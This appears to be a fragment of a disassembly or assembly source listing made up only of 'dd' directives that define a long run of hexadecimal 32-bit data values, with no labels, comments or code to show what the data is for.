		dd 0F7C41F00h, 7B234F4h, 298F002Ah, 2325717Ah, 0E51FA42Fh
		dd 0C040FE4Ah, 9E405D8Bh, 0B21A0294h, 0F170C15Bh, 4D33A1C0h
		dd 0A464870Bh, 771000A5h, 0B88C6A6Fh, 687C003Dh, 0E1C11C6Ch
		dd 0FB01B127h, 2E213BF0h, 0DDEC5D2Bh, 8BA92h, 338DF290h
		dd 74C84385h, 7FAACA00h, 0F97BF514h, 7D8F0148h,	8BE67915h
		dd 0CCF4EC5Bh, 367730F9h, 4FCEB101h, 0C1152ACBh, 0E29202F0h
		dd 9A120049h, 0F370BDE6h, 0ED0047D0h, 35934542h, 0C75A7Fh
		dd 5D634021h, 117096A2h, 2655E200h, 694A6C6Dh, 3B670B9Fh
		dd 0E9006019h, 28AC783h, 0BD53D305h, 0F81E3F29h, 0DA5C26C0h
		dd 0C5945Ah, 0FED56FD8h, 9E48AA0Ah, 7E3C39h, 751CB566h
		dd 0E8D60Ch, 0F60F3456h, 0AF43F392h, 83EF0D00h,	686C4D73h
		dd 54B9028h, 9DFDBA01h,	24F0CC59h, 0D6995B05h, 60C0E08Bh
		dd 0A43678Eh, 0A83A01DDh, 409316BCh, 0C5AFC8D8h, 861E552Ah
		dd 73804560h, 138C984h,	0B7580F7Ch, 14AF8151h, 5FF16EE0h
		dd 0CD012753h, 4DCFB6C6h, 0D0D4F9B1h, 5DFC09DFh, 0D900C9A3h
		dd 3622BA76h, 1369FE09h, 0F2E482EEh, 74C060E2h,	7C77184h
		dd 0D5C55B7Fh, 2E0290ECh, 4170362Ch, 79627700h,	4843CE4Ah
		dd 3B8AFC95h, 32009B46h, 1D87F07Eh, 0BF00AFBAh,	0AB962135h
		dd 0B59567h, 4EF3A671h,	0E7AA9964h, 1C2A59h, 1619478h
		dd 2519BBD5h, 70005B56h, 0A850C328h, 10C71300h,	0DCB3C486h
		dd 0FF7D00B4h, 0EA9C733Fh, 4300C693h, 88E96925h, 31974CFCh
		dd 0ECA0F462h, 0A4A2201Ah, 15B05512h, 5B940Bh, 0D00D2E20h
		dd 0CF860042h, 0D7DE0E56h, 1D001045h, 349147FEh, 0BF8DFF1h
		dd 0C1CFD81Ch, 84271800h, 0CC1FE2E7h, 63406FA9h, 13CE024Ah
		dd 56120B94h, 0BC800C8Eh, 87EF6141h, 0C84F2500h, 7C6FA8B1h
		dd 10761F13h, 6BF5808Eh, 31B8EECAh, 74E7D63Fh, 0D2A1DF0Eh
		dd 5343C091h, 254EC237h, 9C80A87Ah, 8846F624h, 6D72E500h
		dd 20EDB0F2h, 18474C28h, 21B77101h, 50B579E8h, 9F50B3A8h
		dd 645AD300h, 0C7D55225h, 96EE0087h, 32778545h,	0A3012365h
		dd 0C3C1CB2Fh, 3AF8B8C4h, 83A2093Ch, 5CC85E47h,	6A01B9CAh
		dd 0C059576Bh, 3D000A52h, 0A100B6BCh, 8B991A2Fh, 3FF7693h
		dd 0B9D2ED01h, 0B14BDFF6h, 0C311E0h, 9A9035E7h,	0C4D1E8BBh
		dd 0AD25A106h, 3E012DBh, 0E1DFEC59h, 0C102A84Dh, 5B46AAF0h
		dd 0D1044856h, 2A3D00CEh, 0A2DD6E0Ah, 1E002E60h, 8AD6FA90h
		dd 67AAB5h, 0A17C2859h,	0D3421D66h, 0CE1A7B00h,	57538BB8h
		dd 0CAF52884h, 7E1400BBh, 0C8789925h, 0BF009B8Eh, 1638CBECh
		dd 1F95C6BBh, 65E15BCDh, 0B94A3C00h, 40041EBh, 0F77885BDh
		dd 636ABAh, 7550C083h, 719F5755h, 71611220h, 0EC4C010Ch
		dd 743A2D6Fh, 0F4C080E9h, 9491E016h, 88D3829h, 0BB8C5104h
		dd 2BDC8C9Dh, 0AE009676h, 0DA05364Eh, 3CFE23FBh, 6F803ECEh
		dd 5290C85Dh, 6D012ED4h, 43E10F67h, 0D450D76Ah,	0EBBA7Eh
		dd 0D5957859h, 0FF1D7F33h, 6E0D8775h, 88A031B2h, 1F7D7E4h
		dd 2F092476h, 0DD3668C3h, 0AE8CC0C4h, 69140E00h, 47F6A459h
		dd 3B372607h, 118A07BEh, 33E490A6h, 0C44EA3CFh,	44E7E802h
		dd 0C694A1AEh, 3468F65Ch, 0D67C2Ch, 6DD0E1EFh, 860060A7h
		dd 3B010E1Eh, 6674707Dh, 48BF24C1h, 5DCF050Fh, 23DB4E54h
		dd 93E6D928h, 885601A4h, 91AAB31Ch, 0CA8024F7h,	98DFB826h
		dd 0CF2C8200h, 0FDF83015h, 14C18420h, 0C468FE25h, 0D4953B00h
		dd 7B1191C6h, 0FA74CC04h, 0D080F816h, 7BC27F0h,	4A67DE70h
		dd 1D8F6026h, 750064FBh, 0B4342C9Dh, 0FDBD918h,	0E445ABE3h
		dd 0F1CE37E4h, 43C360ECh, 79845C00h, 0C8D31471h, 0A157008Ch
		dd 6EC58D5h, 0A509798h,	8000F2B8h, 0D49F2C36h, 921DD1CEh
		dd 0F3593E70h, 8D30D505h, 0C3009084h, 860F27D0h, 20FE8902h
		dd 73814E80h, 22820EDCh, 9A401903h, 5DF29CE4h, 0C51E5F00h
		dd 0A2D823D1h, 97C80B12h, 54402C0Ch, 5C291413h,	6513C87Ah
		dd 3056B881h, 1701DC28h, 0B7B19251h, 4C31D1B0h,	0EF00D744h
		dd 69675EBDh, 0A049819Eh, 4215B0h, 0B8D8E253h, 30B9FCB0h
		dd 0E7CA2500h, 1D7D203Ch, 1C9C16h, 0DD0DD14Dh, 10C019DEh
		dd 0D2073698h, 3A373B63h
		dd 544A900h, 0CB5E2990h, 54FEE700h, 0E67A4A39h,	4BDE3F25h
		dd 1A9EE48Fh, 0CF671CE0h, 0CC4B10ADh, 0E9E70000h, 265FB4BAh
		dd 38274076h, 0DFEEB983h, 10F0C8F2h, 8B0012E8h,	4DAECF6Bh
		dd 0E77D80h, 0FA75F47Ah, 0AC218717h, 0FF0C0509h, 0F6B00E5h
		dd 742E5Dh, 6BA1EA1Ah, 0B7A68F9Ch, 3101C00h, 55C8FF5Bh
		dd 18F2009Bh, 0A10BCBFCh, 8600B511h, 0DEB3B9EAh, 0CA4AB6h
		dd 7CAB3C08h, 66AD67ECh, 304A50Fh, 0CCD5A2h, 0EE783FB9h
		dd 1C7CA9h, 52F389D7h, 6AD2B303h, 7BB24800h, 0D59B383Ah
		dd 6F883039h, 0DE3B6B0h, 0C7700400h, 1D303ECDh,	0D362005Ch
		dd 0CC85808Ch, 43004788h, 7056E42Dh, 978669Ch, 0B602D8F2h
		dd 0C0CC0824h, 238165E4h, 510AD900h, 0C56B6943h, 7A3B0088h
		dd 9032793Eh, 75B0A20Eh, 606A1500h, 880ABA4h, 41B20088h
		dd 0C204664h, 0FE24617Eh, 0B980C45Ch, 1D98BAC2h, 0CA5B2726h
		dd 0F1FBD080h, 70008D49h, 79B053F0h, 0E4B6829h,	4A9092A7h
		dd 5ED91620h, 0FE0099C7h, 0B4AF7488h, 3DA42271h, 4600E0A7h
		dd 2580A22Dh, 0BF00565Dh, 725E9B51h, 5D752h, 687ADF24h
		dd 974E1E12h, 16A6AD1Eh, 76DBB600h, 193495Ch, 636EC1C9h
		dd 0C0261398h, 44E14411h, 0DA618388h, 906B04E0h, 4B846FCh
		dd 8087BF3Ah, 0F1BE92D1h, 9E9814h, 0DC235834h, 0D415D5BAh
		dd 7E4EC000h, 40872D17h, 0B1463F44h, 8009854Ah,	9DC3B670h
		dd 2409933Dh, 7C809C73h, 0E13B8BFDh, 189700FBh,	0A4E465Eh
		dd 40007D92h, 3E90CC0Bh, 0BD369C8h, 3981FCD0h, 0DAAE30A2h
		dd 0B6007C7Ah, 544504C7h, 11F5DEh, 0B84E87ECh, 5D4975FCh
		dd 3D16203h, 0C0E028C4h, 75C7023h, 2C54B15Eh, 81A1F0C8h
		dd 790078B0h, 56A625F9h, 9B632Ah, 33C016B7h, 0D080ED38h
		dd 0BC5F100h, 1227360Dh, 0D33109F3h, 0F2032C08h, 0EEC8D47Eh
		dd 0BC007FC1h, 0F2929C4Eh, 0FEEFA3h, 5425AEBDh,	5A474CCCh
		dd 10EAC21Fh, 6F02F3CEh, 740732CEh, 85F0DA30h, 0B6ABE6Ch
		dd 0A1A8EFAEh, 8D7AA800h, 190EB881h, 1B3A59h, 0E7ECA913h
		dd 84AB5DBBh, 1F2C7E04h, 0DF3C80E1h, 1712D2FFh,	0D403E5A2h
		dd 88D3D55Fh, 3F379F7Dh, 81F7C25h, 0D70F407Bh, 0D9CEBC02h
		dd 2957C700h, 2E90D85Bh, 7D4E003Ch, 0D7816815h,	0AE0062E1h
		dd 0F61777A7h, 5451992h, 0E94D5839h, 76890E4h, 3C001FF9h
		dd 0A613D3B1h, 39330A43h, 6A8EB0B2h, 6D209BD0h,	257FE62Ch
		dd 97ED8A05h, 0A90058D8h, 55F7B9FFh, 0D0480056h, 4679CF68h
		dd 1F001491h, 0EB0FB8E7h, 8845C3h, 47EA9DC8h, 0E3B05FECh
		dd 0F4B63700h, 421C335Ch, 78E60026h, 0FBDE50F3h, 0C603BC8Eh
		dd 0E820F9D9h, 0C0D3F2DCh, 4CA1ECD4h, 0BC2DAC13h, 7F5EB8A1h
		dd 9851E0F5h, 7AD95B00h, 6D45E348h, 0B1800061h,	59443F34h
		dd 5C24CBE5h, 1700B720h, 144E799Ch, 0B93500C1h,	71482C9Ah
		dd 0AE17B1F5h, 18803260h, 0F5ECA28h, 0AB81D673h, 91344096h
		dd 0E6ED2DDBh, 623DDC1Ch, 0D88FAC7Ch, 9A3584BCh, 74D0A2ECh
		dd 1347DBB0h, 0FCCBC2h,	1C5B67CCh, 7804160Eh, 35B3D054h
		dd 0DCAC0493h, 319A4B4h, 0A0044558h, 69E3CFDDh,	0B815EA88h
		dd 0D03D3200h, 182577F0h, 0C3E00E97h, 49C543A8h, 98F80F66h
		dd 6CCB809Ch, 0B82AE7E6h, 555F5716h, 0D24F5A00h, 1B840Dh
		dd 0C1C38B0h, 0AF2F2A0Ah, 8F638E01h, 0E687FB92h, 4CDB4FCh
		dd 3961E5E4h, 0ADC08048h, 14002686h, 2B246C52h,	10344CAh
		dd 6431B53Dh, 0CC232C18h, 5D065E63h, 6D209924h,	0F0D100BEh
		dd 8D3773ECh, 713D7A27h, 0C6DA893Ch, 38AA02EEh,	0D8B8EB25h
		dd 0F574511h, 8539888Bh, 0B04AC987h, 36FD4E6h, 6EFF9101h
		dd 0C2B13D41h, 4DA1EDCh, 557AC9B8h, 4F58E447h, 0D6094B00h
		dd 9E766326h, 0B9BA1D0Bh, 3DD401BBh, 502C9F42h,	244A02E4h
		dd 0C800744Ah, 6389CA35h, 46680178h, 52D2BCF4h,	0CE1130CFh
		dd 0DD6C214h, 0B96C00D0h, 531E90EDh, 0AB9D17FCh, 0A50C81F6h
		dd 0BA2C3002h, 0DBE1C000h, 65FC3C1Ah, 0F46807B6h, 6F7CAF4Eh
		dd 0E183F86Fh, 0C0E89354h, 4D731635h, 0DB8BAB07h, 0D0F0897Ah
		dd 2BF1F3Ah, 778A8FDEh,	7CE82EDCh, 0C49B91ECh, 329CF503h
		dd 0B2F40276h, 0DD3CF1DBh, 6DDE1C60h, 37AA2B00h, 44626E7Eh
		dd 0F87863E0h, 0F0E86A83h, 0E930A946h, 0D737E803h, 1ABD3E51h
		dd 8296247Eh, 0FFBC03CCh, 9EF4397h, 0F0DF981h, 8D38F0F8h
		dd 0CD9E024h, 0C405800Eh, 7081ABE7h, 0E8CB8C1Fh, 158FBFFh
		dd 0ECDCA5B4h, 0E8862A90h, 8903F8DAh, 0C2165B69h, 0FE88E8C7h
		dd 6BB80098h, 0D48FEEC3h, 0F0B23E3Fh, 0CD49A700h, 5E40634Eh
		dd 813C007Dh, 0ACFEC7B3h, 0C807FABAh, 0F57976F7h, 0B08E4A63h
		dd 16C1DE12h, 956F8D32h, 8094A058h, 0AE7B1F00h,	71BA027Eh
		dd 28035EE3h, 0B012B90Ch, 0B880AFD2h, 28832Eh, 45A2568Dh
		dd 1BC373EAh, 47DFCE03h, 0E8F0ED3Fh, 720A06Ch, 2AB43884h
		dd 338B8039h, 520CA7CAh, 7092610Ah, 0E0DD00C1h,	0B63B44CFh
		dd 0F0007A1Dh, 0D00E097Fh, 0F706D2h, 59C932Fh, 6F80F2D4h
		dd 7A8D2C00h, 49796CD3h, 0AC5802B7h, 2D566250h,	10766960h
		dd 12849B00h, 805A48A9h, 0D76F0029h, 5B53A3FDh,	7800491Eh
		dd 7E031B4Ch, 3D622792h, 0C409CB34h, 34646F2Dh,	0FD795800h
		dd 391EDBB4h, 0D63705A8h, 0D05F4BE0h, 555D4FF0h, 0A3EAE71Ch
		dd 0E46E9170h, 0B19102BEh, 3526723Ch, 0F7CFD860h, 0F04F25Ch
		dd 60C5877Dh, 694D7105h, 0D98300CBh, 0ADD14FC6h, 3F12DE62h
		dd 50E4FF1Fh, 0DB1603E6h, 0E19F1E6Fh, 0F7B41E7h, 2E1F05FEh
		dd 5A03901Dh, 0E6002B8h, 3E42DE99h, 96EA0653h, 0F009089Bh
		dd 0D869788Ch, 0D85A2E78h, 42680FC9h, 23C03620h, 97004DC2h
		dd 0DAAF5B05h, 0CD9371h, 8ED3612Dh, 4AADE17Bh, 0B5003475h
		dd 9E019A22h, 0E017D581h, 0B7FC00FEh, 5E5A86FBh, 0FA003A28h
		dd 0DFDEA664h, 5D42E1Eh, 14EDB7FEh, 9A5C40FBh, 0DC5E459h
		dd 0BFCC4007h, 0F90C5E21h, 343E59FEh, 3FC4C101h, 0D0873938h
		dd 553CBDA2h, 26C8875Fh, 2F5417h, 0EEB68D3Bh, 0F13E0027h
		dd 1B372AB2h, 2F09D107h, 8F14D3A8h, 8E38C611h, 906E0E76h
		dd 0F4405183h, 1581DDCh, 6C633C00h, 46AC3372h, 0C2A8037Eh
		dd 8AE5448Bh, 62A1D698h, 0D0725E00h, 0A2347AC1h, 4C900021h
		dd 0ED192A84h, 88003361h, 7A4E9209h, 0FB81DDAh,	0FD9A5856h
		dd 357090C0h, 0C6005212h, 80E82EBh, 0B28794h, 88668F58h
		dd 119D62BFh, 6CE4A803h, 0A7AEA246h, 0B8744293h, 0F2C979FBh
		dd 0A98B0016h, 19F6085Dh, 53001C57h, 6E71880Eh,	544472DDh
		dd 4C079C46h, 5F00E42Dh, 0D9404326h, 0AD1403F2h, 80C49D89h
		dd 0BEB8907Dh, 0E09A00B5h, 57E9B331h, 560ED243h, 6013C292h
		dd 29BE30A1h, 63030C25h, 0C7613B68h, 0A29B5F00h, 0D15DFDC5h
		dd 922C00F9h, 0EAF4A3Dh, 42015A1Dh, 37CCDF09h, 588EECE7h
		dd 23609F03h, 0AFBAD152h, 493A48C0h, 29A04h, 749E7D5Bh
		dd 87DDD538h, 0E4A2A600h, 17E25CF9h, 0D839392Ch, 0D77B7780h
		dd 732614EAh, 16DF9505h, 4C1B8963h, 0B7D5E070h,	9CD00149h
		dd 7B634A39h, 0DF218B45h, 4D4440BAh, 0E5BD0070h, 0B2DDB3F0h
		dd 0CD00C0CBh, 730B02B7h, 17ACE38Eh, 4045DF7Ah,	0FCC810ACh
		dd 0A8001EA6h, 80A2C50Ah, 62F16Eh, 54896029h, 0EAFDAC5Ch
		dd 0B056830Eh, 6BBE8319h, 4C3E09Ch, 0BCAB0F0Fh,	0F6801AA6h
		dd 0BE81D1E8h, 861B8FF0h
		dd 0C0187505h, 0DE85C2h, 9EBBDA49h, 0FF1E0D46h,	4091C000h
		dd 611A1065h, 0FAC500A7h, 2830CF38h, 60B632Dh, 0D7BF420Eh
		dd 824C5C80h, 0CB0F19CCh, 227E0D26h, 962BA666h,	67C60214h
		dd 0AF36BACDh, 4B2C9461h, 0F5B60314h, 0E074D768h, 60B1CE70h
		dd 1106A8A2h, 0CC00AF47h, 0DEC7156Bh, 539F5D45h, 0C5C31473h
		dd 1B7376Ah, 4BA00D50h,	0CA970074h, 0CFF793D7h,	0A2F100B7h
		dd 6A0C2205h, 1301C84Ch, 0CDC24432h, 344B6FF5h,	94F5D00h
		dd 2EB8C9CFh, 802070D1h, 8F81ECAh, 54C42927h, 0BD7A6044h
		dd 0B014C9A6h, 0AD4A3A9h, 0D81CEB05h, 6B949100h, 95C21Bh
		dd 8C6F5A82h, 0EFE80DBh, 0B24B9618h, 5054B529h,	0F81AF885h
		dd 0B11E911h, 0F10424EAh, 1F3DF000h, 0D66D8453h, 0C9040012h
		dd 0A4819A37h, 0C800B6E3h, 9B9C7008h, 300EF865h, 1D49A6ACh
		dd 5C007893h, 541B45A8h, 0C6ED69CEh, 7998EF59h,	31DB4700h
		dd 25C98885h, 502C0005h, 2423AD4Dh, 0E271FBCDh,	0D51B5106h
		dd 0B9EA04h, 9B467706h,	0A1EEBF6Bh, 0E5DC231Dh,	2821EC18h
		dd 324600AAh, 43C15B2Bh, 250A2FFFh, 3C1FBB59h, 0F84E803Fh
		dd 884BC16Fh, 17C7010Ch, 0E3B3EA16h, 650DC4E7h,	0B244ACA4h
		dd 61F800C2h, 4797F34Ch, 0D900D05Fh, 55A159A2h,	166CF4Eh
		dd 12D834F5h, 0D21BB328h, 1C768F60h, 0BAA06701h, 0BDE313A3h
		dd 66CB9050h, 58DA00BFh, 0BB10E756h, 65002732h,	0FF7DB198h
		dd 61C85BBAh, 90B5B082h, 0AF088A4Bh, 7543D454h,	0B8DA1A0h
		dd 0BA3E11BEh, 412CE280h, 45EAB0D7h, 7AB1CF3Ah,	0D2DBBCABh
		dd 409249B0h, 3814D879h, 1D7004E4h, 0AF00D5FDh,	0F54B1BCFh
		dd 5F1141Dh, 0D923C0C9h, 3746A300h, 86EF9F6Bh, 0F4FE44h
		dd 4DA948D5h, 0B6021B6Ah, 348B4F24h, 0B44B43h, 42A94629h
		dd 0DDCD3F28h, 0C8E59F18h, 24546F18h, 158939Ch,	0B044BD31h
		dd 0E3418086h, 108FAA83h, 0C1470C61h, 0E0085103h, 0F3C9ACA8h
		dd 574AAA03h, 988F231Bh, 269D328Ch, 78DC30h, 0AEE3200Ch
		dd 6B0DA097h, 18704C54h, 0AFF36888h, 9EAAF460h,	22994610h
		dd 8CC413E6h, 0B8480EAAh, 8A8E158Fh, 1FF393A0h,	98036FDFh
		dd 3C9AADA0h, 236012D4h, 68281986h, 0A8684837h,	10A2A908h
		dd 40DBC439h, 13AAF0D0h, 1007022Fh, 5CCE318Ah, 7CA6A0A0h
		dd 4280508h, 0B37CA48Fh, 10A09924h, 7B1F3140h, 0CFE33157h
		dd 2251B5F0h, 0B00A06F8h, 0A18DF7Fh, 0C6086BA5h, 203D4584h
		dd 0A8A99E50h, 4A491010h, 0CE80E7C8h, 0D537AAF6h, 70170029h
		dd 4F734EACh, 24097FDCh, 3121C56h, 0E3B78620h, 317000AFh
		dd 0E710B158h, 19F6D175h, 3BBC2E00h, 3581020Fh,	600C0013h
		dd 364899BFh, 31E6A8FAh, 50272F09h, 0CF4A8743h,	96766FE0h
		dd 0FF080042h, 8C9B90A1h, 40EAFE6h, 58FA5D35h, 25B928h
		dd 2B48CAADh, 0B8BAE675h, 14670B00h, 9BED4C15h,	0EBE30334h
		dd 0A887E928h, 99C080DBh, 2100CB4Bh, 0B02DB623h, 0C98EB53h
		dd 0ABA64A69h, 413B8B58h, 637B005Ah, 6793C2F5h,	9F330043h
		dd 0C05ED42Bh, 120F7056h, 6358BF86h, 0FDA5EAh, 0CB25ABB8h
		dd 0A8AC3EC7h, 66364600h, 0B485F2B8h, 302800E1h, 704517Dh
		dd 1900C606h, 1498F0A0h, 0E9B639h, 943E489Bh, 0A798229h
		dd 0C4F0B160h, 0E8B2A94Bh, 833900AAh, 19349AC3h, 0D8016554h
		dd 9E7B6E86h, 44F7DA5h,	0EC1F80ACh, 0A803A6F2h,	0E06DBA51h
		dd 7EE6656h, 449BF4F3h,	2A6C788h, 0B2501DB4h, 42BED018h
		dd 88F6AA28h, 29808388h, 6E7FBFh, 0C6F96543h, 0E6F382C5h
		dd 140021E2h, 5FAC68C8h, 1E4E78ECh, 0C0663324h,	0F54F16C7h
		dd 4100D1E5h, 3A6A8557h, 0F40A53C6h, 0DC6B0713h, 804BBE29h
		dd 7E59513Eh, 2E98B400h, 61F44C8Dh, 58E43D67h, 6ED8738Eh
		dd 9B7752E0h, 8F01D65Ch, 0F5785E35h, 14E8BF70h,	3E2C3CD2h
		dd 867AEC80h, 4FE938AAh, 0D6D9A000h, 7A9BC35h, 6076F0h
		dd 29AEEF83h, 0F5C39A9Eh, 6F3D100h, 7B2E361Dh, 64F400BCh
		dd 7D9E411Fh, 70F4374h,	40C40BE3h, 0E1C2A7B7h, 199F00ACh
		dd 0C8F3FEADh, 0AE387888h, 0EFB300B0h, 212F9C34h, 815F18C9h
		dd 0D51DB06Bh, 364A8B01h, 0FB02AABDh, 0B3DFC0h,	5585BA68h
		dd 0F6B9CCE7h, 2BDDEF00h, 6E125828h, 25340051h,	0D8E2C5D7h
		dd 8D002DBBh, 0B676C8FAh, 0EF4FF2Eh, 515999DBh,	30626366h
		dd 1CB5DD00h, 431F14Fh,	0EBAE1426h, 0D1EB4C8h, 9CD643FEh
		dd 0F4F00346h, 3B00127Ch, 84C5DAEh, 1CF52BC0h, 0C01B6EC3h
		dd 0DC74B1EDh, 57001C4Ah, 0B625CCCDh, 2C6082h, 628C2E1Dh
		dd 35E5E8A6h, 37553A17h, 0CBD4D900h, 0BDC1EBh, 3975CF19h
		dd 623D59A4h, 0DCCC1200h, 0C60C76D8h, 0AFE301D9h, 1CD52AD0h
		dd 7B542009h, 97E40100h, 7CD1283Dh, 399C0FFCh, 6160718Eh
		dd 4247D43Ah, 0F6005098h, 90FF8C10h, 301FCB8h, 0AB777DDCh
		dd 202E3BA6h, 0E7001A30h, 9D76071h, 76450964h, 283E934h
		dd 2588FACCh, 0FD002837h, 64948981h, 1C8ADAF8h,	80F20E71h
		dd 88B9CEC9h, 0C31EC4BEh, 0D852A0EEh, 7F5CB040h, 1FD545FFh
		dd 4099118Ch, 4037FDB4h, 7000E982h, 73FEE062h, 0D269A6h
		dd 77C32022h, 85D9B290h, 0C1CA0C0h, 0AC40A50h, 873DEAA3h
		dd 0E9FC8040h, 2344FAA8h, 78362603h, 0D0E6CA51h, 38E13BFBh
		dd 8703F256h, 15CDB8CFh, 0FD795000h, 0F3924ED6h, 0B79500ACh
		dd 0BB53C9EDh, 0B3F08C9Dh, 0C860BD00h, 2C36525Ch, 0A51E0034h
		dd 5996436Dh, 6218B96Bh, 0B3E171B4h, 53AFAACh, 3E14D481h
		dd 90B0001Bh, 0F1FA22ABh, 20F97A7Fh, 3724C98Ch,	0B2002066h
		dd 0D58213E0h, 0D8A3F2BFh, 7B4C0CF8h, 0EF801200h, 8A1E705Ch
		dd 6F090E0Fh, 0CCC0A7FCh, 9FC2235Bh, 0D01778C0h, 0F631ACD7h
		dd 99F61213h, 0CD083114h, 7449F0FCh, 26638203h,	0D82BBFE2h
		dd 229AFEh, 5E3C2CA9h, 0C0576933h, 5DA23Eh, 7D6D515Ch
		dd 6AD237h, 0D7EF6582h,	0FFE01E5Ah, 5014B030h, 3076C050h
		dd 0A89C5A8h, 8B0040ADh, 0D96321ACh, 1D4E28h, 0D1BA9818h
		dd 6DF2F450h, 6C6080F5h, 0E72AF162h, 0DB2D0086h, 60CD39F5h
		dd 0DE30E355h, 650278E4h, 9192006Fh, 0EBA6CC7h,	4D00CB9Bh
		dd 0B0D5D35Bh, 1FEC8410h, 3EFBB9DBh, 9A922698h,	6700523Ch
		dd 0DC1CE0F6h, 7E334402h, 0B12C1D7Dh, 0C4414AF0h, 5500B8CCh
		dd 0C220B903h, 0DF1D30E0h, 9103EE39h, 0D8CD94D7h, 0DCF85Dh
		dd 588F6C98h, 0C6F140B9h, 0EA00F890h, 47437054h, 411AF6h
		dd 98CCF8D9h, 8530E93Ch, 190084B2h, 4627A65Bh, 4D5571Bh
		dd 62BE732Bh, 1104807Fh, 1492364Bh, 0BBD858h, 40BDB7D1h
		dd 4DCE64h, 29DA7BC3h, 81E2F166h, 223B7600h, 0EB4B470Eh
		dd 0EF10009Fh, 0BEDF74B6h, 3C002AAFh, 427FC16Fh, 0FC5D12C6h
		dd 91B2012Bh, 95EFBA74h, 448C4043h, 827D32F1h, 9C005C90h
		dd 0B6C514DCh, 830412h,	48BA296Ch, 13F9670Ch, 0A0249848h
		dd 0FB77718h, 819BFB9h,	91795D24h, 0F42072D0h, 0A4011C31h
		dd 82383B17h, 4340F39h,	0A19B406Ah, 994B949h, 5BFD99h
		dd 3CB0EB08h, 0F889008Bh, 0B28F6652h, 600E8C6h,	0A19D1A8h
		dd 1C18CBh, 5EAB3C31h, 0C6ED5BDh, 3B007491h, 0D10E185Fh
		dd 2250C159h, 26034711h, 54C72298h, 2E85E44Ch, 0ED7E1E5h
		dd 8F42CC28h, 74A0D278h, 2F22D9Bh, 0DC44A824h, 0A2076102h
		dd 0CED8A099h, 7EE8F8B7h, 448A4DCBh, 0FC307C00h, 6CBDE535h
		dd 0D912E9E8h, 0FC45A46Ah
		dd 0DB1D6F79h, 0DC487193h, 8D8700DCh, 799B351Fh, 96FE1203h
		dd 1C2BA94h, 6277C469h,	3013B7D2h, 9A98C308h, 0DE1D8F00h
		dd 0FE4FEBBDh, 6CE70038h, 31524DC9h, 55041AF3h,	990359D2h
		dd 293AE890h, 27D0039h,	0BA05E43h, 59F81653h, 3DB460EDh
		dd 0C61D00B8h, 3F9CFB75h, 1CB8CC0h, 582FFC18h, 4716DC77h
		dd 0C500BF40h, 0E1735FCCh, 275D3879h, 3EE3C800h, 609ED3BDh
		dd 80EBF83Ah, 0D7F3B9D9h, 6CA254h, 0F15B7405h, 0B0852E5Dh
		dd 7307607Bh, 2A708977h, 0F96E4361h, 0D0A420h, 5B9DE5DAh
		dd 238345F6h, 74F9103h,	0A8D5CD09h, 0D02DDCh, 0B6DE2885h
		dd 0B51E3B43h, 0F16823Ch, 80E032B2h, 0FD68ED77h, 506C0086h
		dd 0E728CD24h, 1BEC6D53h, 0CA3DD00h, 0D40EE47Fh, 24D49079h
		dd 1F447E0h, 5FF4C1AFh,	0EC20D901h, 1950EA85h, 4F3C7FC4h
		dd 0C4A280A9h, 0CF86A364h, 9FAD13A1h, 2EE00115h, 0E0377173h
		dd 1F48400Dh, 9B8E0040h, 1759BA3Fh, 0B79403A6h,	0A01586AAh
		dd 0F62AFF8h, 0EA822F00h, 0E980DBB3h, 4509008Eh, 3A367A24h
		dd 1000C3A8h, 9E9CCD86h, 5D2BA0h, 1B891D35h, 0EDBAA6B6h
		dd 0E2C46400h, 0F84B377Ch, 54AB24B9h, 0F0F60F72h, 0ECA825E7h
		dd 0E2093DE0h, 0A0F59986h, 36A6D3C0h, 0B18AA0FDh, 944501A4h
		dd 0AA28586Fh, 4EF1801Bh, 0E84396C4h, 2460FAA2h, 8C5D91h
		dd 71C2DFB0h, 0F128B1C1h, 6900CC13h, 2DF61587h,	0C937D9D2h
		dd 0F4187184h, 47805C01h, 31BF00ADh, 0C75A91D0h, 0DB00D85Fh
		dd 0E8CE540Eh, 0FC3DDE3h, 5C752B6Fh, 90A31CC4h,	997CD294h
		dd 0C300A5Dh, 0A9F4E0A1h, 30570004h, 97A466BEh,	6905E7ECh
		dd 2A5E13A8h, 6848B8C2h, 6BC7E0h, 0CFAA29E3h, 7CB1AD8Dh
		dd 11ECC92h, 9A922F0Bh,	2963F441h, 0E836DCBDh, 0DA007722h
		dd 96BB74E1h, 39077E24h, 52822B05h, 0F3BF303Dh,	30970C4h
		dd 0A0EA42F5h, 0CDD9A58Ch, 0ACE906A9h, 0C9BEA2BDh, 724B9807h
		dd 0B7F02AF9h, 74F13A6h, 5551B4B8h, 33E7F0D1h, 6218BF78h
		dd 79F16CECh, 81F013A6h, 8BE04083h, 4F21BB4Eh, 0D017E328h
		dd 0A2EF1D02h, 0C5F3C015h, 385424B8h, 2CE52580h, 0E1EB7DD7h
		dd 969E4E00h, 23D67AA2h, 0EE3D01E8h, 976F02DFh,	4C08086h
		dd 0D5E7457Ch, 0F95100D1h, 201D90D3h, 7700229Ch, 50EAC542h
		dd 46EB305h, 65B430DFh,	412CC791h, 7E8CB6D6h, 0DC03CC7h
		dd 2CF66809h, 45A8414Dh, 2E218085h, 5B17A377h, 74670697h
		dd 0F833B223h, 6AD9A4Fh, 67853AF8h, 0DAF41139h,	82B22115h
		dd 558300D0h, 2AF62497h, 7B8B04Ah, 85E9FD40h, 0A636D029h
		dd 80B8BB4Ch, 0B39CD900h, 1DED3D4Eh, 7110544h, 41455268h
		dd 7CFCC7B4h, 3C46D60Fh, 3DD38E00h, 0A9192314h,	587C2511h
		dd 5F6E4007h, 7A0774E3h, 71038800h, 0E8A9A662h,	41DF66F5h
		dd 0BD736EE5h, 748F5Ch,	83EC6A25h, 0F913E833h, 0F8C79460h
		dd 5227128Eh, 80B85E8Ah, 5F0F017Dh, 36058408h, 3CD69C12h
		dd 0BC90D200h, 0AB4A41Fh, 803BCC6Bh, 0C65C008Ch, 0A21A4BE4h
		dd 6A470700h, 5A610DD2h, 7824003Fh, 11BB7E35h, 132CD10Fh
		dd 8F80989Ch, 0C3260CA7h, 151A094Dh, 0DC8049EEh, 8E98451Bh
		dd 8A79631Fh, 8350C74Bh, 7EAFE4Eh, 453EA020h, 325520E0h
		dd 63047FE7h, 3FF4F5A6h, 0D62CF480h, 0FB99C440h, 0C1A8D3BCh
		dd 0DBE08DA7h, 428547EBh, 0E94D39BCh, 30029C48h, 288B4003h
		dd 31A4F5Dh, 0FDEAD220h, 31124CD4h, 0DC41717Ch,	7716A6B1h
		dd 5D6A1987h, 0D2945361h, 83193DC0h, 48C88700h,	7DC9818Eh
